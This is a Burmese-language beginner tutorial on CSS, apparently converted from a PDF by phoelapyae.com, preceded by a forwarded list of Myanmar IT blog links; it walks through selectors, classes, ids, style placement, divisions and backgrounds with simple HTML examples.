>> > ေနာက္ေတြ႔လာတဲ့ဆုိက္ေလးေတြပါ။
>> > ျမန္မာAုိင္တီႏွင့္ပါတ္သက္မယ္ထင္တဲ့ဆုိက္ေလးေတြ ပါ။ ဟုတ္လည္းဟုတ္ပါတယ္။
>> > Myanmar IT Blogs
>> > http://kyawnux.blogspot.com
>> > ttp://linsanle.blogspot.com
>> > http://azure-phoeniz.blogspot.com
>> > http://tahkharka.blogspot.com
>> > http://platonicloveaugust4.blogspot.com
>> > http://soehtet.blogspot.com
>> > http://khaingzaw.blogspot.com
>> > http://natshinnaung.blogspot.com
>> > http://www.rhythmless.isgreat.org
>> > http://www.peacefulforever.co.cc
>> > http://nyameeeain.blogspot.com
>> > http://kyawthetlatt.blogspot.com
>> > http://shwepyithu.blogspot.com
>> > http://www.winzaw-mdy.blogspot.com
>> > http://phoelapyae.isgreat.org
>> > http://www.mgtaryar.iblogger.org
>> > http://www.koyinnyein.blogspot.com
>> > http://aungmyohan.myanmarbloggers.org
>> > http://thuratun.22web.net
>> > http://noway.mmeyes.net
>> > http://zawlay.mmeyes.net
>> > http://kokyawmyintoo.blogspot.com/
>> > http://zawthureintun.googlepages.com ဆုိက္လည္းေကာင္းတာပဲေနာ္။
>> > Aုိင္တီ္မန္းကိုတည္ေထာင္သူေလ။
>> > http://nnyioo.googlepages.com ဆုိက္လည္းေကာင္းတာပဲေနာ္။
>> >
>> > ေဒါက္တာခုိင္မ်ုဳိးဆုိက္ထဲကရထားတဲ့ဆုိက္ေလးေတြပ ါ။
>> > ျမန္မာဘေလာ့ဒ္ေတြကို၀င္ေရးေနတဲ့Aစ္ကုိႀကီးေတြ/ဆရာေတြပါ။ ယူထားလုိက္။
>> > http://www.yanaung.blogspot.com/
>> > http://www.soehtet.blogspot.com
>> > http://www.drlunswe.blogspot.com
>> > http://dhammaratha.blogspot.com
>> > http://http/titsartayar.0fees.net
>> > http://www.dhammaweb.net
>> > http://wesheme.blogspot.com
>> > http://nnyilynnseck.blogspot.com
>> > http://emotionalcorner.lanolay.com
>> > http://drkyaingmyo.myanmarbloggers.org
>> > http:///www.mybloglog.com
>> > http://www.funcygens.com
>> > http://samerss.myanmarcalender.com
>>>http://www.thungechinmyar.co.cc (Aင္တာနက္မွ ပိုက္ဆံရွာေဖြနည္း AပါA၀င္
AျခားAေၾကာင္းAရာမ်ား)

CSS အေၾကာင္း တေစ့တေစာင္း


www.phoelapyae.com 1
1 ရာမညဖိုးလျပည့္

CSS ဆိုတာ Cascading Style Sheets ရဲ႕ အတိုေကာက္ပါ။
CSS အေၾကာင္းကို ေဆြးေႏြးမယ္ဆိုေတာ့ HTML ကုိနည္းနည္းပါးပါး နားလည္မွ ရပါမယ္။ HTML Tag ေတြကုိ
အနည္းအက်ဥ္း ေလ့လာေစလိုပါတယ္။ ဥပမာ <p>This is a paragraph</p> မွာ p ဆိုတာ paragraph ျဖစ္ပါတယ္။
အဲလိုမ်ိဳးေပါ့ ။ အနည္းအက်ဥ္းသိရင္ ပိုေကာင္းပါတယ္။
HTML ဆို <html> စၿပီး</html>နဲ႕ ဆံုးသလို CSS မွာလဲ <style>CSS</style>ဆိုၿပီးေရးပါတယ္။ ေနာက္တစ္ခု
မွတ္ထားရမွာကေတာ ႔ CSS Style code ဟာ head tag အတငြ ္းမွာပ ဲ ရိွရပါမယ။္ CSS စေရးမယ္ဆိုၿပီး
ဒီလိုေၾကာ္ျငာရပါတယ္။ </title> ၿပီးေတာ႔ </head> မဆံုးမီ ၾကားမွာေရးရမယ္။ဆိုလုိတာက </title> နဲ႕ </head>
ၾကားမွာ CSS style code ကိုေၾကာ္ျငာေပးရမွာပါ။ ဒီလိုေလးပါ ။
<head><title>My Test</title>
<style type=text/css>
<style>
</head>
CSS ကုိေရးမယ္ဆိုရင္ သူ႕ ရဲ႕ ေရးထံုးစည္းမ်ဥ္းကေတာ့
selector {property: value} ပါ။ အဲဒါကုိ ေရးမယ္ဆိုရင္
body {background-color: black}
ဒီေနရာမွာ
body -- > selector
property-- > backgroun-color
value -- > black
www.phoelapyae.com 2
2 ရာမညဖိုးလျပည့္
ျဖစ္ပါတယ္။ ေနာက္ပိုင္း အေခၚအေ၀ၚေတြ သံုးရင္ selector ၊ property ၊ value ေတြနဲ႕ သံုးမွာမို႕လို႕
ဘာကုိဆိုလိုတယ္သိေအာင္ မွတ္ထားဖို႕ လိုပါတယ္။
body {backgroun-color: black} အလုပ္လုပ္ပံုကေတာ့ body လို႕ ေရးထားတဲ့အတြက္ web pages တိုင္းရဲ႕ body
တိုင္းကို ေနာက္ခံအေရာင္ အမဲေရာင္အေနနဲ႕ သက္ေရာက္မွာ ျဖစ္ပါတယ္။
အစိမ္းေရာင္ထည့္ခ်င္တယ္ဆိုရင္ body {backgroun-color: green} ေပါ့။
တကယ္လို႕ value တန္ဖိုးဟာ စာလံုးတစ္လံုးထက္ပိုေနရင္ Double Quote အတြင္းထည့္ေရးပါတယ္။
P {font-family: “sans serif”}
ထို႕ နည္းအတူပဲ property မွာလဲ တစ္ခုထက္ပိုၿပီးထည့္ခ်င္ရင္ ( ; ) ေလး ထည့္ေရးရပါတယ္။
P {text-align:center; color: red}
ဒီေနရာမွာ p ဆုိတာက HTML Browser နားလည္တဲ ့pre defined fomatter tag လို႕ေခၚပါတယ္။ ဒါေၾကာင့္ p ဆိုရင္
paragraph ျဖစ္ၿပီး ၊ h1 ဆိုရင္ Header ျဖစ္ပါတယ္။ ဒီ့အတြက္ HTML Tag အခ်ိဳ႕ နားလည္ဖို႕ လိုပါတယ္။ ေစာေစာက
style ေတြ ရွင္းလင္းေအာင္ စုလုိက္မယ္ဆိုရင္
<style>
P
{
text-align: center;
color: red;
font-family: “sans serif”
}
</style>
www.phoelapyae.com 3
3 ရာမညဖိုးလျပည့္
Grouping
CSS မွာ selector ေတြကုိ style တူရာ အုပ္စုေလးေတြဖြဲ႕ နိုင္ပါတယ္။
h1,h2,h3,h4,h5,h6
{
color: red
}
h ဆိုတာ header ျဖစ္ၿပီး ဒီလိုေရးလုိက္ျခင္းအားျဖင့္ header အားလံုး အနီေရာင္
ေျပာင္းသြားမွာပါ။ကုတ္အမ်ားႀကီးေရးစရာ မလိုေတာ့ပဲ တူရာကိုစုစည္းလုိက္ျခင္းျဖင့္ တစ္ခါတည္းျဖင့္
အလုပ္ၿပီးေျမာက္ပါတယ္။
အခုသိၿပီးသား ကုတ္အနည္းငယ္နဲ႕ web page တစ္ခုဖန္တီးရေအာင္
<html>
<head><title>Example 1</title>
<style type="text/css">
body {background-color: yellow}
h1 {color: blue}
h2 {color: black}
h3 {color: red}
h4 {color: green}
P
{
text-align: center;
color: red;
www.phoelapyae.com 4
4 ရာမညဖိုးလျပည့္
font-family: Zawgyi-one
}
</style>
</head>
<body>
<h1>This header is 36 pt and color is blue</h1>
<h2>This header is black</h2>
<h3>This header is red</h3>
<h4>This header is green</h4>
<p>This paragraph is center of webpage and color is red and also font is
zaw gyi</p>
</body>
</html>
အထက္ပါကုတ္ကုိ notepad တြင္ save ၿပီး Save as type ကုိ All file ကိုေရြးၿပီး File name ကုိ example.html နဲ႕
ေပးလုိက္ပါ။ HTML ေရးထားေသာ page မ်ားကုိ .html နွင့္ .htm လို႕ ေပးမွသာ brower တြင္ ေပၚပါလိမ့္မည္။ ဒီလိုေလး
ရပါလိမ့္မယ္ ။
www.phoelapyae.com 5
5 ရာမညဖိုးလျပည့္
class Selector
class selector ကုိ web page တစ္ခုထဲမွာ style အမ်ိဳးမ်ိဳးသံုးခ်င္ရင္ ေရးပါတယ္။ ဥပမာ စာပိုဒ္ ၂ ပုဒ္ရွိရင္ ၁ ပုဒ္ကုိ
ဘယ္ဘက္ ၊ က်န္ ၁ ပုဒ္ကို အလယ္ထားခ်င္တာမ်ိဳးေပါ့။
p.right {text-align: right}
p.center {text-align: center}
ဒါဆိုရင္ style ကုိေၾကာ္ျငာယံုပဲရွိေသးတယ္။ ဘယ္စာပုဒ္ကုိ ဘယ္လက္၊ ဘယ္စာပုဒ္ကို အလယ္ဆိုတာ ေရးေပးရပါမယ္။
ဒါကို body မွာ ဒီလိုေခၚသံုးရပါတယ္။
<p class=”right”>
This paragraph will be right-aligned.
</p>
<p class=”center”>
This paragraph will be center-aligned.
</p>
ဒီေနရာမွာ ေျပာလုိတာက p.right {text-align: right} ဆိုတဲ့ေနရာမွာ p.right အစား p.yamanya {text-align: right}
ဆိုၿပီးေရးလုိ႕ ရပါတယ္ ။ ဒါဆိုေခၚသံုးရင္ေတာ့ ဒီလိုေလးမွရမွာေပါ့။
www.phoelapyae.com 6
6 ရာမညဖိုးလျပည့္
<p class=”yamanya”>
This paragraph will be right-aligned.
</p>
ဆိုလုိတာက class ကို ႀကိဳက္တဲ့နာမည္နဲ႕ assign လုပ္လို႕ ရတာကိုပါ။ ဒါေပမ ့ဲ Class name ရ့ဲအစကို
ကိန္းဂဏန္းေပးထားလို႔မရဘူး.. ေပးထားရင္ Mozila Firefox မွာ အလုပ္မလုပ္ပါဘူး။ဆက္ရေအာင္ ..
ဒီေနရာမွာ class selector ကုိ ထပ္တိုးေရးခ်င္ေသးတယ္ဆိုရင္ ေရးလို႕ ရပါေသးတယ္။
<p class=”center bold”>
This is a paragraph.
</p>
ေရးခဲ့တဲ့ class selector ထဲက selector ကိုခ်န္ၿပီး class သီးသန္႕ ပဲေရးၾကည့္ရေအာင္။ဒီလိုဆိုလိုတာပါ။
.center {text-align: center}
ဒါဆုိဘာထူးျခားသြားလဲ ?
Style မွာ အဲလို ေၾကာ္ျငာၿပီးသြားရင္ class=”center” ကုိေခၚသံုးတဲ့ အရာတိုင္း center ျဖစ္သြားေရာ။ေစာေစာကလို h1 ၊
h2 ၊ p စသည္တို႕ ကို center ထားခ်င္ရင္ တစ္ေၾကာင္းခ်င္းလိုက္ေရးရလိမ့္မယ္ ။ ဒါဆိုရင္ တစ္ေၾကာင္းတဲ့နဲ႕ ေရးခ်င္တဲ့
selector ကုိေခၚသံုးယံုပါပဲ။ ဒီလိုေလးပါ။
<h1 class=”center”>This heading will be center-align</h1>
<p class=”center”>This paragraph will also be center-aligned.</p>
www.phoelapyae.com 7
7 ရာမညဖိုးလျပည့္
Class selector နဲ႕ ပက္သက္ၿပီး web page တစ္ခုေရးၾကည့္ရေအာင္။
<html>
<head><title>Football</title>
<style type="text/css">
body {background-color: yellow}
p.left
{
text-align: left;
color: blue
}
p.yamanya
{
text-align: right;
color: red
}
.center
{
text-align: center;
color: green
www.phoelapyae.com 8
8 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
<h1 class="center">Football Teams</h1>
<p class="center">Arsenal</p>
<p class="left">ManU</p>
<p class="yamanya">Chelsea</p>
</body>
</html>
အဲဒါကို result ထုတ္လုိုက္ရင္ ဒီလိုေလးပါ။
www.phoelapyae.com 9
9 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ center ၂ ခုျဖစ္တဲ့ Football Teams နဲ႕ Arsenal တို႕ ကို .center {text-align: center}
တစ္ေၾကာင္းတည္းနဲ႕ ေၾကာ္ျငာနိုင္တာရယ္၊ class selector မွာ မိမိစိတ္ႀကိဳက္နာမည္ p.yamanya နဲ႕ ေရးထားတာကုိ
ျမင္ေစလိုပါတယ္။
id selector
ေစာေစာက သံုးခဲ့တဲ့ class selector ဆိုတာ HTML Tag ေတြကုိသာ apply လုပ္ပါတယ္။ ဒါေၾကာင့္လဲ selector ေရးရင္
(p, td, tr, h1, h2, …..) နဲ႕ ေရးရပါတယ္။ တကယ္လို႕ မိမိက မိမိစိတ္ႀကိဳက္နာမည္နဲ႕ assign လုပ္ခ်င္ရင္ id selector
ကုိသံုးပါတယ္။ id selecotr ကုိ define လုပ္ဖို႕ အတြက္ # ကုိထည့္ရပါတယ္။
#para
{
text-align: center;
color: blue
}
www.phoelapyae.com 10
10 ရာမညဖိုးလျပည့္
Tag အမည္ေတြျဖစ္တဲ့ (p, td, tr, h1, h2,…) စတာေတြကုိ အမည္မသံုးခ်င္လို႕ မိမိစိတ္ႀကိဳက္အမည္ကို id selector
သံုးၿပီးေရးထားတာပါ။ အဲလိုေၾကာ္ျငာၿပီးရင္ ေခၚသံုးရပါမယ္။
<p id=para>
This is paragraph.It will be centerd align and red color.
</p>
class selector လိုပဲ id selector လဲ အမည္နာမေတြကုိ ကိန္းဂဏန္းနဲ႕ စေပးလို႕ မရပါဘူး။
Comment
Comment ဆိုတာ မိမိေရးခဲ့တဲ့ကုတ္ဟာ ဘာအတြက္ေရးခဲ့တယ္ဆိုတာ မွတ္သားထားတာပါ။ေနာက္တစ္ခ်ိန္က်ရင္ မိမိက
ကုတ္ေတြျပန္ျပင္ရင္ မိမိေရးခဲ့တဲ့ comment ကိုၾကည့္ၿပီး ဒီကုတ္ဟာ ဘာအတြက္ေရးထားတယ္ဆိုတာ သိနုိင္ပါတယ္။
အဲလိုေရးထားတဲ့ comment က browser ေပၚမွာ ေပၚေနမွာမဟုတ္ပါဘူး။ ေရးၾကည့္ရေအာင္ ….
/* This is comment */
မိမိေရးခ်င္တဲ့စာသားကုိ /* နဲ႕ */ ၾကားမွာေရးရမွာပါ။
နမူနာၾကည့္ရေအာင္ ….
<html>
<head>
<title>My Love</title>
/* Styles are starting here */
<style>
/* This is codes for paragraph */
p
{
text-align: center;
color: white
www.phoelapyae.com 11
11 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body bgcolor=black>
<p>I always remember u</p>
</body>
</html>
Browser မွာ comment ေရးထားတာ မေပၚတာကို ေတြ႕ ရပါမယ္။
Applying CSS
CSS style sheet နဲ႕ web pages ေတြကုိ format ခ်တဲ့ေနရာမွာ အၾကမ္းဖ်င္းအားျဖင့္ (၃)မ်ိဳး format ခ်လို႕ ရပါတယ္။
Inline , Internal , External ဆိုၿပီးေပ့ါ ။ Inline ဆိုတဲ့အတိုင္း HTML Tag တိုင္းမွာ CSS ကုိထည့္မွာ ၊ Internal ကေတာ့
ကြ်န္ေတာ္အေပၚမွာ ေရးခဲ့တဲ့ ကုတ္ေတြလို </title> နဲ႕ </head> ၾကားမွာေရးတာပါ၊ External ကေတာ့ style sheet
ေရးၿပီး web page တစ္ခုစီမွာ Link tag ေတြ ခ်ိတ္ၿပီး အဲဒီ style sheet ကုိေခၚသံုးမွာပါ။ဥပမာ wordpress
မွာသံုးထားတာလိုမ်ိဳးေပါ့။ style.css ကုိ ျပင္လိုက္တာနဲ႕ website တစ္ခုလံုးေျပာင္းလဲသြားနုိင္ပါတယ္ ။
အေသးစိတ္တစ္ခုခ်င္းေလ့လာရေအာင္ …..
In Line
In Line နဲ႕ ေရးမယ္ဆိုရင္ သက္ဆုိင္ရာ tag တစ္ခုထဲမွာပဲေရးပါတယ္။ဒီလိုပါ။
<p style=”color=blue; text-align: ceneter”>This is a paragraph</p>
ဒါဆိုရင္ သူ specify လုပ္ထားတဲ့ ဒီ tag တစ္ေၾကာင္းတည္းကိုသာ သက္ေရာက္မွာပါ။
အမ်ားအားျဖင့္ေတာ့ CSS ေရးေနမွေတာ့ ဒီလို inline ျဖစ္တဲ့ tag တစ္ေၾကာင္းအတြက္နဲ႕ သံုးက်တာ နည္းပါတယ္။
www.phoelapyae.com 12
12 ရာမညဖိုးလျပည့္
Internal
Embedded or Internal style ကေတာ့ စာမ်က္နွာတစ္ခုလံုးအတြက္ သံုးတာပါ ။ ဥပမာ blog လိုမ်ိဳးေပါ့။ အေပၚမွာ
ကြ်န္ေတာ္ေရးခဲ့တဲ့ example web page ေတြဟာ internal style နဲ႕ apply ေပးထားတာပါ။ Internal နဲ႕ ေရးၿပီးဆိုရင္
style sheet code ေတြက </title> နဲ႕ </head> ၾကားမွာ ေရးပါတယ္။ဒီလိုပါ။
<head><title>CSS Example</title>
<style type=”text/css”>
p {color: red; font-family: Zawgyi-one, Arial}
body {background-color: black}
</style>
</head>
External
External ကေတာ့ အေကာင္းဆံုးနည္းလမ္းပါ။ သူက ေရးၿပီးသား style sheet ကို link tag သံုးလွမ္းခ်ိတ္ၿပီး
ယူသံုးတဲ့နည္းပါ။ လွမ္းခ်ိတ္ဖို႕ အတြက္ အဲဒီ CSS file ကုိ <head> နဲ႕ </head> ၾကားမွာ Link tag
ကုိေၾကာ္ျငာေပးရမွာပါ ။ ဒီလိုေလးပါ ..
<head>
<link rel=”stylesheet” type=”text/css” href=”urfilename.css”/>
</head>
www.phoelapyae.com 13
13 ရာမညဖိုးလျပည့္
ေၾကာ္ျငာၿပီးရင္ ေခၚသံုးဖို႕ အတြက္ css ဖိုင္ကို ေရးပါမယ္။ ဥပမာ..
P
{
text-align: center;
color: white
}
A {color: blue}
အဲဒါကုိ notepad မွာ urfilename.css ဆိုတဲ့ *.css extension နဲ႕ save ရပါတယ္။ ဒါဆို urfilename.css ဆိုတဲ့ CSS
file တစ္ခုရပါမယ္။
ဒါဆိုရင္ browser က urfilename.css က ို သြားဖတ္ပါတယ္ ။ အဒဲ ီ urfilename.css ထဲကေရးထားတ့ဲအတိုင္း webpage
ေတြကုိ format ခ်ပါတယ္။ ပုိရွင္းသြားေအာင္ နမူနာ လုပ္ၾကည့္ရေအာင္ …
<html>
<head><title>Testion External Style</title>
<link rel="stylesheet" type="text/css" href="mystyle.css"/>
</head>
<body>
<h1>This is a header</h1>
<h2>This is also header with blue color</h2>
<p>This paragraph has a left margin of 50 pixels</p>
</body>
</html>
အဲဒါကို notedpad တြင္ example.html နဲ႕ save ပါ။
ဒါက styel sheet file(CSS) file ပါ။
www.phoelapyae.com 14
14 ရာမညဖိုးလျပည့္
body {background-color: yellow}
h1 {font-size: 36pt}
h2 {color: blue}
p {margin-left: 50px}
ဒါကုိ mystyle.css ဆိုတဲ့ နာမည္နဲ႕ save ပါ။ ၿပီးရင္ example.html ဖိုင္နဲ႕ mystyle.css ဖိုင္တို႕ ကုိ ဖိုဒါတစ္ခုထဲ
ထည့္ၿပီး example.html ဖိုင္ကုိ ဖြင့္ၾကည့္ပါက ဒီလိုိေလးေတြ႕ ရပါမယ္။
ဒါဟာဆိုရင္ example.html ဖိုင္ကုိ mystyle.css ဖိုင္က format ခ်လိုက္တာပါ။ မိမိကိုယ္တိုင္ေရးၾကည့္ၿပီး လုပ္ၾကည့္ပါ ။
သိလာပါလိမ့္မယ္။
ေနာက္ထပ္ နမူနာတစ္ခုေလာက္ ေလ့က်င့္ရေအာင္..
www.phoelapyae.com 15
15 ရာမညဖိုးလျပည့္
<html>
<head><title>Example</title>
<link rel="stylesheet" type="text/css" href="test.css" />
</head>
<body>
<h1>This is header<h1>
<p>This is a paragraph and this is a <a href="http://phoepyae.co.cc"
target="_blank">Phoe La Pyae Website</a></p>
<body>
<html>
ဒါကုိ example.html ဖိုင္နာမည္နဲ႕ save လိုက္ပါ။
body
{
background-color: black;
color: white;
}
p
{
font-size: 11pt;
font-family: Zawgyi-one, Arial;
www.phoelapyae.com 16
16 ရာမညဖိုးလျပည့္
}
a:link {color:green}
a:visited {color:yellow}
a:hover {color:green}
a:active {color:blue}
ဒါကုိ test.css ဖိုင္နာမည္နဲ႕ save လုိက္ပါ။ ၿပီးရင္ example.html ဖိုင္ကိုေခၚၾကည့္ပါ။ ဒီလိုေလးပါ။
ဒီေနရာမွာ a tag တစ္ခုပါလာပါတယ္။ မိမိရဲ႕ webpage မွာ link ထည့္မယ္ဆိုရင္ <a></a>tag ကို anchor
အျဖစ္တစ္ခုႏွင့္တစ္ခု ခ်ိတ္ဆက္အသုံးျပဳရန္အတြက္ အသုံးျပဳပါတယ္။လင့္ခ်ိတ္ခ်င္ရင္ <a href=” website
address”>Name</a> ဆိုတဲ့ ပံုစံနဲ႕ ေရးရတာပါ။ website address ဆိုတာ မိမိခ်ိတ္ခ်င္တဲ့ ဆုိက္ address ေပါ့။
ဒီေနရာမွာ <a href=”http://phoepyae.co.cc” target=”_blank”>Phoe La Pyae</a> ဆိုတဲ့ ေနရာမွာ
target=”_blank” ဆိုတာ new tag window အေနနဲ႕ အဲဒီဆိုက္ကုိ ေပၚေစမွာ ျဖစ္ပါတယ္။ test.css မွာေရးထာတဲ့ a
tag ကုိလဲ မႏွိပ္ခင္ ဘာအေရာင္၊ ႏွိပ္ရင္ ဘာအေရာင္ စသျဖင့္ ေလ့လာၾကည့ပါ။
CSS Division
www.phoelapyae.com 17
17 ရာမညဖိုးလျပည့္
အခု ကြ်န္ေတာ္တို႕ class and id selector ေတြအေၾကာင္း ေတာ္ေတာ္မ်ားမ်ား သိၿပီးျဖစ္ပါတယ္။ အခုဆက္လက္ၿပီး
အဲလို secelctor မ်ိဳးျဖစ္တဲ့ div and span ေတြကို နည္းနည္းေလ့လာၾကည့္ရေအာင္ …
Divisions
Division ကအမ်ားအားျဖင့္ html file ေတြကုိ define လုပ္ေလ့ရွိတယ္။ သူသည္လဲ class and id selector လိုပါပဲ ။
သံုးနည္းကုိၾကည့္လိုက္ရင္ ပုိရွင္းသြားမွာပါ။
<div id=”container”>
Site contents go here
</div>
အဲဒါကုိ CSS မွာက်ရင္ ဒီလိုေရးပါတယ္။
#container
{
width: 70%;
margin: auto;
padding: 20px;
border: 1px solid #600;
background: #ffffff;
}
အဲလိုေလးပါ။ id selector လိုမ်ိဳးေပါ့ ။ အဲဒီထဲမွာ ပါတဲ့ ကုတ္အခ်ိဳ႕ ေတြကုိ သက္ဆိုင္ရာ ေခါင္းစဥ္ေရာက္မွ အေသးစိတ္
ရွင္းပါ့မယ္။
Span
www.phoelapyae.com 18
18 ရာမညဖိုးလျပည့္
Spans ဟာ division tag လုိပါပဲ ။ ဒါေပမဲ့ span က Inline နဲ႕ apply လုပ္တဲ့ေနရာမွာပဲ အသံုးမ်ားပါတယ္။
တစ္ေၾကာင္းတည္းဆိုရင္ အသံုးမ်ားတာေပါ့ ။
<span class=”italic”>This text is italic</span>
အဲဒါကုိ CSS မွာ ဒီလိုေရးရပါတယ္။
.italic {font-style: italic;}
CSS Background
Web page တစ္ခုရဲ႕ background ကုိ အေရာင္ သို႕ မဟုတ္ ပံုနဲ႕ ထည့္သြင္းျခင္းကုိ ဒီေနရာမွာေလ့က်င့္မွာပါ။
Web page ရဲ႕ background color ကုိ မထည့္ခင္ color ရဲ႕ ေရးတတ္ပံုေတြကုိ ေဆြးေႏြးပါ့မယ္။ color ကုိအေရာင္နဲ႕
ေဖာ္ျပျခင္း color: green; အေရာင္ကုတ္နဲ႕ ေဖာ္ျပျခင္း color: #ffffff; နဲ႕ အေျခခံအေရာင္ သံုးေရာင္စပ္ထားျခင္းျဖင္း
color: rgb(106,251,146); ဆိုၿပီးရွိပါတယ္။
ဒီေနရာမွာ color: rgb(106,251,146); မွာ rgb ဆိုတာက red, green, blue ကို ဆိုလိုျခင္းျဖစ္ပါတယ္။ (106,251,146)
ဆိုတာက အေရာင္သုံးေရာင္ေပါင္းစပ္ထားျခင္းပါ။ သူ႔ အေရာင္တစ္ခုျခင္းစီအတြက္ limit ကေတာ့ 0-255 ျဖစ္ပါတယ္။ 0
ကေတာ့ ၄င္းအေရာင္ရဲ႕ light အျဖစ္ဆုံးအဆင့္ပါ။ 255 ကေတာ့ dark အျဖစ္ဆုံးပါ။ ဥပမာ
အျပာေရာင္တစ္ေရာင္ပဲလိုခ်င္တယ္ဆိုရင္ color: rgb(0,0,255); လို႔ေရးလို႔ရပါတယ္။ ေနာက္တစ္ခုက အေရာင္ကုတ္ဖြဲ႕
စည္းမႈ ။ ာ။ အေရာင္ကုဒ္ေတြမွာဆိုရင္ # ေနာက္မွာ ဂဏန္း၆လုံးကို ေတြ႔ရပါလိမ့္မယ္။ အဲဒီဂဏန္း ၆ လုံးက
hexadeicmal code ေတြျဖစ္ျပီးေတာ့ ၂ လုံးတစ္တြဲယူရပါတယ္။ ဂဏန္း၂ လုံးက အေျခခံအေရာင္ ၁ ေရာင္ကို
ကိုယ္စားျပဳပါတယ္။ red, green, blue ျဖစ္တဲ့အတြက္ အေရာင္ကိုေဖာ္ျပတဲ့ ဂဏန္း ၆လုံးရွိျခင္းျဖစ္ပါတယ္။ သူ႔ format
ကေတာ့ # rrggbb ေပါ့ဗ်ာ။ အဲဒီမွာ သုံးတဲ့ အေရာင္ကုဒ္ရဲ႕ ရည္ညြန္းမႈကေတာ့ ...
FF သည္ full brightness
CC သည္ 80 % brightness
99 သည္ 60 % brightness
66 သည္ 40 % brightness
33 သည္ 20 % brightness
www.phoelapyae.com 19
19 ရာမညဖိုးလျပည့္
00 ကေတာ့ သူနဲ႔ဆိုင္တဲ့ အေရာင္မပါ၀င္ေႀကာင္းကို ေဖာ္ျပျခင္းျဖစ္ပါတယ္။
ဥပမာ..bright red သည္ #FF0000 ၊ dark blue သည္ #000033၊ medium-gray ကေတာ့ #999999 ျဖစ္ပါတယ္။
ဒါကေတာ့ သိရံုသက္သက္ပါပဲ ။ ထပ္ေျပာရင္ ရႈပ္သြားပါလိမ့္မယ္။ ဒီေတာ့ ကြ်န္ေတာ္တို႕ နမူနာ web page
တစ္ခုေရးၾကည့္လုိက္လုိက္ရင္ ပိုရွင္းမယ္ထင္ပါတယ္။ ေရးရေအာင္ ….
<html>
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body {background-color: yellow;}
h1 {background-color: #00ff00;}
h2 {background-color: red;}
p {background-color: rgb(250,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
<h2>
This is a level 2 header
</h2>
www.phoelapyae.com 20
20 ရာမညဖိုးလျပည့္
<p>
This is a paragraph
</p>
</body>
</html>
How to set an image as the background
ဒီတစ္ခါ မိမိရဲ႕ web page မွာ ေနာက္ခံအေရာင္ကုိအသံုးမျပဳပဲ ဓါတ္ပံုတစ္ခုခုကို အသံုးျပဳမဲ့နည္းလမ္းပါ ။
အဲလိုထည့္ခ်င္ရင္ ဒီလိုေလးေရး၇ပါတယ္။
body {background-image: url(‘image address’)}
image address ေနရာမွာ မိမိထည့္မဲ့ image ရဲ႕ link ကုိယူရပါမယ္။ နမူနာတစ္ခုေရးရေအာင္ …
မေရးခင္ ဒီပံုေလးကို အရင္ save ထားလိုက္ပါ။ ရွင္းျပတာ တသမတ္တည္းျဖစ္ေအာင္လို႕ ပါ။
DOWNLOAD PHOTO
http://yamanya.mlm.googlepages.com/yamanya.jpg
www.phoelapyae.com 21
21 ရာမညဖိုးလျပည့္
yamanya.jpg နဲ႕ save ထားလိုက္ပါ။ ကဲ .. စေရးၿပီး ..
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg')
}
</style>
</head>
<body>
</body>
</html>
အဲဒီကုတ္ကုိ html file အေနနဲ႕ save ၿပီး ေစာေစာက ပံု yamanya.jpg ပံုနဲ႕ ဖိုဒါတစ္ခုအတြင္းထားၿပီး html tile
ကုိဖြင့္လိုက္ပါ။ဒီလိုေလးပါ…
www.phoelapyae.com 22
22 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ ဘာကုိသတိထားမိက်သလဲ ။ ရာမညဖိုးလျပည့္ဆိုတဲ့ ပံု ထပ္ခါထပ္ခါ repeat ျဖစ္ေနတာ ေတြ႕ ရပါမယ္။
ဒီေတာ့ body {background-image: url(‘yamanya.jpg’)} နဲ႕ body {background-image: url(‘yamanya.jpg’);
background-repeat: repeat} နဲ႕ တူပါတယ္။ ဒိေနရာမွာ repeat ပါလာပါၿပီး။တယ္။background-repeat:repeat
ဆိုတာကေတာ့
မိမိေနာက္ခံဓါတ္ပုံကိုဘယ္လိုပုံစံေဖာ္ျပမလဲဆိုတာကို သတ္မွတ္ျခင္းျဖစ္ပါတယ္။အဒဲ ီလိုေဖာ္ျပဖို႔အတြက္ backgroundrepeat:
attribute မွာသတ္မွတ္ခ်က္style ေလးခုရွိပါတယ္။ repeat, repeat-x,repeat-y , no-repeat တုိ႔ျဖစ္ပါတယ္။
repeat ကေတာ့ မိမိဓါတ္ပုံကို webpage မွာ tile ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။tile ပုံစံ ဆိုတာကေတာ့
မိမိရဲ႕ webpage တစ္ခုလုံးမွာ ေနာက္ခံဓါတ္ပုံကိုနဂုိမူလအတိုင္းတစ္ခုႏွင့္တစ္ခုဆက္စပ္ျပီး
အျပည့္ေပၚေစျခင္းျဖစ္ပါတယ္။ ဥပမာအေနနဲ႔ျပရရင္ computer desktop ရဲ႕ ေနာက္ခံပုံတင္တဲ့အခါမွာ user
ကိုေရြးခ်ယ္ခြင့္ သုံးမ်ိဳးေပးထားပါတယ္။tile, center, stretch ဆိုျပီးသုံးမ်ိဳးရွိတဲ့အနက္ tile
ကမိမိဓါတ္ပုံအရြယ္အစားေသးေနတဲ့အခါ တစ္ပုံနဲ႔တစ္ပုံဆက္စပ္ျပီး အျပည့္ေဖာ္ျပတာပါ။center ဆိုတာကေတာ့
မိမိဓါတ္ပုံကို အလယ္မွာနဂိုအရြယ္အစားအတိုင္း တစ္ပုံတည္းေဖာ္ျပတာျဖစ္ပါတယ္။stretch ကေတာ့ ဓါတ္ပုံရဲ႕
resolution ကို screen တစ္ျပင္လုံးအျပည့္ခ်ဲ႔ျပီးေဖာ္ျပတာပါ။ဒီေနရာမွာေတာ့ tile
ပုံစံေဖာ္ျပျခင္းပဲအသုံးျပဳမွာျဖစ္ပါတယ္။repeat-x ကေတာ့ ေနာက္ခံပုံကို
အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး ေအာက္တစ္ျခမ္းကေတာ့
